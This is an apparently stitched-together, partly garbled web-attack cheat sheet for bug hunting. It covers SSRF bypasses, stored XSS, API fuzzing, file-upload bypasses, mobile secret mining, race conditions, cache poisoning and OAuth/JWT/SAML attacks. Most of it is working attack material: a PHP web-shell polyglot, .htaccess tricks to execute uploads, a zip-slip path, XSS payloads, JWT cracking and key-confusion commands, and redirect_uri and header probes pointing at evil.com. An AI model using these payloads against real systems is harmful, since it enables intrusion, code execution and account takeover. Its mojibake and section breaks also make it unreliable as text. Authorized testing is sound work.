| Blind SSRF (no response) | Medium/Low | Limited impact without response data |
# Decimal IP for 127.0.0.1
http://2130706433/
# IPv6 localhost
http://[::1]/
# DNS rebinding
http://your-rebind-domain.com/
# Ranges a hardened resolver should block:
127.0.0.0/8 # Loopback
10.0.0.0/8 # Private Class A
172.16.0.0/12 # Private Class B
192.168.0.0/16 # Private Class C
169.254.0.0/16 # Link-local (includes metadata)
::1/128 # IPv6 loopback
fc00::/7 # IPv6 private๐ Reference Report โ Stored XSS Case Study
Example.md โ a complete, high-quality reference report: stored XSS via image-upload MIME-type confusion. Study the structure, severity justification and remediation depth; benchmark your own reports against this standard.
POST /file/upload/ HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=--900627130554
------------------------------900627130554
Content-Disposition: form-data; name="stored_XSS.jpg"; filename="stored_XSS.jpg"
Content-Type: text/html
<script>alert('document.domain')</script>
------------------------------900627130554--| Date | Action |
|---|---|
| 2016-08-13 | Vulnerability discovered |
| 2016-08-13 | Initial report submitted |
| 2016-08-15 | Vendor acknowledged receipt |
| 2016-08-20 | Vendor confirmed vulnerability |
| 2016-09-01 | Fix deployed to production |
| 2016-09-15 | Public disclosure |
๐ง Business Logic โ E-commerce Critical
Money-flows are where e-commerce pays out big. Logic flaws in price, payment, wallet, coupon, refund, loyalty, order and seller flows are high-impact and often bypass scanners completely. Always recompute every money decision server-side in your head and ask: what does the server trust that it should not?
๐ E-commerce API Deep-Dive
E-commerce runs on APIs โ mobile app and internal APIs are often less hardened than the main web app. Hunt BOLA/IDOR, mass assignment, parameter pollution, undocumented endpoints and auth-bypass on every API tier, then chain them for account takeover or financial impact.
# 1. proxy the mobile app through Burp, capture all hostnames + paths
# 2. dump endpoints, then fuzz deeper with wordlists
ffuf -u https://api.target.com/FUZZ -w /root/wordlists/api-endpoints.txt -mc all -fc 404 -t 100
# 3. discover undocumented /v1 /v2 /internal /admin paths
ffuf -u https://api.target.com/FUZZ -w /root/wordlists/dirs.txt -mc 200,201,202,301,403 -t 100
# 4. grep captured traffic for hidden id / token / internal namespaces
echo "target.com" | waybackurls | grep -iE "(admin|internal|graphql|v[0-9]+/|invoice|wallet|coupon|payout)" | sort -u๐ File Upload โ Supplier/Vendor Panel
Supplier, vendor and catalog panels accept images, docs, CSVs and ZIPs โ classic uploadโstored-XSS / RCE territory. Test every stage: extension, MIME, content, filename, storage location, and post-processing (parsing, resizing, extraction).
# extension + MIME bypass combos
shell.php / shell.php5 / shell.phtml / shell.phar / shell.pht
shell.php.jpg / shell.jpg.php / shell.php%00.jpg / shell.php.
Content-Type: image/png (while body is PHP)
# polyglot: real image bytes + PHP at end
printf '\x89PNG\r\n\x1a\n<?php echo shell_exec($_GET[cmd]); ?>' > poly.png.php
# .htaccess that enables PHP execution
AddType application/x-httpd-php .jpg
AddHandler php5-script .jpg
# SVG stored XSS
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg>
# zip-slip: path traversal inside zip to overwrite files
../../../../tmp/evil.sh๐ฑ Mobile App Testing
Mobile apps leak the backend: hardcoded secrets, hidden endpoints, and weaker client-side controls. Decompile, bypass pinning, proxy everything, and mine the binary for API surface and credentials that web recon misses.
# decompile
jadx -d out/ app.apk
apktool d app.apk -o out/
# mine for secrets, endpoints, hardcoded creds
grep -rniE "(api[_-]?key|client[_-]?secret|bearer |password|aws_?access|secret[_-]?access|/admin|/internal)" out/ | grep -v node_modules | head -200
# strings on the binary
strings app.apk | grep -iE "(http|https|api\.|\.com/|token|secret|key)" | sort -u | head -200
# bypass SSL pinning with objection
objection --gadget com.target.app explore
android sslpinning disable๐ Race Conditions
Parallel requests that each pass the "check" before the "use" โ coupon reuse, double-spend, OTP bypass, one-time referral farming. Send bursts over the same connection so the server sees them simultaneously. Modern technique: the HTTP/2 single-packet attack.
# send 30 identical requests in one TCP burst (HTTP/2 single-packet attack)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
for i in range(30):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
def handleResponse(req, **kwargs):
table.add(req)๐ Web Cache Testing
Cache poisoning poisons one stored response served to every user; cache deception leaks private pages. Map the cache key, find unkeyed inputs that reach the response, and hunt normalization mismatches between CDN and origin.
# detect cache: look for X-Cache / Age / CF-Cache-Status headers
curl -sI https://target.com/ | grep -iE "x-cache|age:|cf-cache-status|via:|x-cache-hits"
# unkeyed header probe โ request twice, poison once, observe victims
curl -s "https://target.com/" -H "X-Forwarded-Host: evil.com" -D - -o /dev/null
# cache deception โ request a private page with a cacheable extension
curl -s "https://target.com/account/settings%2f..%2f%2f.css" -D - | head -20
# normalization confusion
curl -s "https://target.com/account/settings/" | grep -c "Account"
curl -s "https://target.com/account%2fsettings" | grep -c "Account"๐ญ SSO / OAuth / SAML
Enterprise apps centralize auth in SSO โ one broken redirect_uri, state, SAML assertion or JWT flaw = account takeover. Test the full flow: authorization, callback, token validation, session handling, and the identity provider integration itself.
# OAuth flow: capture the full redirect chain, then mutate
# 1. redirect_uri: add path, subdomain, port, encoded chars
# https://app.com/callback โ https://app.com/callback/evil
# https://app.com/attacker@evil.com / https://evil.com/?x=https://app.com
# 2. remove or reuse the state parameter
# 3. swap response_type code โ token, replay codes between clients
# JWT attack arsenal
python3 jwt_tool.py <token> -X a # alg none
python3 jwt_tool.py <token> -X k -pk public.pem # key confusion
python3 jwt_tool.py <token> -C -d /root/wordlists/rockyou.txt # weak secret
# SAML: capture the assertion in Burp, then:
# - strip the Signature element (see if unsigned is accepted)
# - tamper email/role/uid inside the Assertion
# - replay the full SAMLResponse